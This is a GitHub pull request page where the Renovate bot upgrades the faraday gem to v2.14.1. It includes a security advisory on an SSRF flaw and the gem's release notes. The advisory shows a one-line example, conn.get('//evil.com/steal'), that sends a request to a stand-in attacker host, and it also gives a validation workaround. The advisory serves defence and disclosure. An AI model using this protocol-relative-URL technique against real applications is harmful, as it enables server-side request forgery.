Skip to content

chore(deps): update dependency faraday to v2.14.1 [security]#346

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/rubygems-faraday-vulnerability
Open

chore(deps): update dependency faraday to v2.14.1 [security]#346
renovate[bot] wants to merge 1 commit intomainfrom
renovate/rubygems-faraday-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Feb 10, 2026

This PR contains the following updates:

Package Change Age Confidence
faraday (source, changelog) '2.8.1''2.14.1' age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2026-25765

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #​1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to
Faraday request methods. Specifically:

  • Reject or strip input that starts with // followed by a non-/ character
  • Use an allowlist of permitted path prefixes
  • Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Release Notes

lostisland/faraday (faraday)

v2.14.1

Compare Source

Security Note

This release contains a security fix, we recommend all users to upgrade as soon as possible.
A Security Advisory with more details will be posted shortly.

What's Changed

New Contributors

Full Changelog: lostisland/faraday@v2.14.0...v2.14.1

v2.14.0

Compare Source

What's Changed

New features ✨
Fixes 🐞
Misc/Docs 📄

New Contributors

Full Changelog: lostisland/faraday@v2.13.4...v2.14.0

v2.13.4

Compare Source

What's Changed

Full Changelog: lostisland/faraday@v2.13.3...v2.13.4

v2.13.3

Compare Source

What's Changed

Full Changelog: lostisland/faraday@v2.13.2...v2.13.3

v2.13.2

Compare Source

What's Changed

New Contributors

Full Changelog: lostisland/faraday@v2.13.1...v2.13.2

v2.13.1

Compare Source

What's Changed

New Contributors

Full Changelog: lostisland/faraday@v2.13.0...v2.13.1

v2.13.0

Compare Source

What's Changed

New Contributors

Full Changelog: lostisland/faraday@v2.12.3...v2.13.0

v2.12.3

Compare Source

What's Changed

New Contributors

Full Changelog: lostisland/faraday@v2.12.2...v2.12.3

v2.12.2

Compare Source

What's Changed

New Contributors

Full Changelog: lostisland/faraday@v2.12.1...v2.12.2

v2.12.1

Compare Source

What's Changed

New Contributors

Full Changelog: lostisland/faraday@v2.12.0...v2.12.1

v2.12.0

Compare Source

What's Changed

New features ✨
  • Make RaiseError middleware configurable to not raise error on certain status codes (e.g. 404) by @​clemens in #​1590
Fixes 🐞
Misc/Docs 📄

New Contributors

Full Changelog: lostisland/faraday@v2.11.0...v2.12.0

v2.11.0

Compare Source

What's Changed

This release adds support for the ciphers SSL option (currently supported by the net_http adapter in v3.3+), as well as taking advantage of the support of chained certificates introduced in the net_http adapter in v3.2.
Also, it adds a new ParallelManager#execute interface that improves on the existing one and makes it easier for adapters to support parallel requests. This is currently used by the async-http adapter.

New features ✨
Misc/Docs 📄

New Contributors

Full Changelog: lostisland/faraday@v2.10.1...v2.11.0

v2.10.1

Compare Source

What's Changed

Full Changelog: lostisland/faraday@v2.10.0...v2.10.1

v2.10.0

Compare Source

What's Changed

This release introduces support for middleware-level default_options 🎉
You can read more about it in the docs.

New features ✨
  • Introduce Middleware DEFAULT_OPTIONS with Application and Instance Configurability by @​ryan-mcneil in #​1572
Bug Fixes 🐞
Misc/Docs 📄

New Contributors

Full Changelog: lostisland/faraday@v2.9.2...v2.10.0

v2.9.2

Compare Source

What's Changed

Bug Fixes 🐞

New Contributors

Full Changelog: lostisland/faraday@v2.9.1...v2.9.2

v2.9.1

Compare Source

What's Changed

New features ✨
Bug Fixes 🐞
Misc/Docs 📄

New Contributors

Full Changelog: lostisland/faraday@v2.9.0...v2.9.1

v2.9.0

Compare Source

What's Changed

NOTE: This release removes support for Ruby 2.6 and 2.7, making Ruby 3.0 the minimum version.

New Contributors

Full Changelog: lostisland/faraday@v2.8.1...v2.9.0


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot requested review from a team as code owners February 10, 2026 03:43
@renovate renovate bot force-pushed the renovate/rubygems-faraday-vulnerability branch 2 times, most recently from 476e542 to 0229f68 Compare February 12, 2026 12:47
@renovate renovate bot force-pushed the renovate/rubygems-faraday-vulnerability branch 2 times, most recently from 6c27520 to 76cdc33 Compare February 18, 2026 07:43
@renovate renovate bot force-pushed the renovate/rubygems-faraday-vulnerability branch from 76cdc33 to 2032031 Compare March 9, 2026 15:13
@sonarqubecloud
Copy link

sonarqubecloud bot commented Mar 9, 2026

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants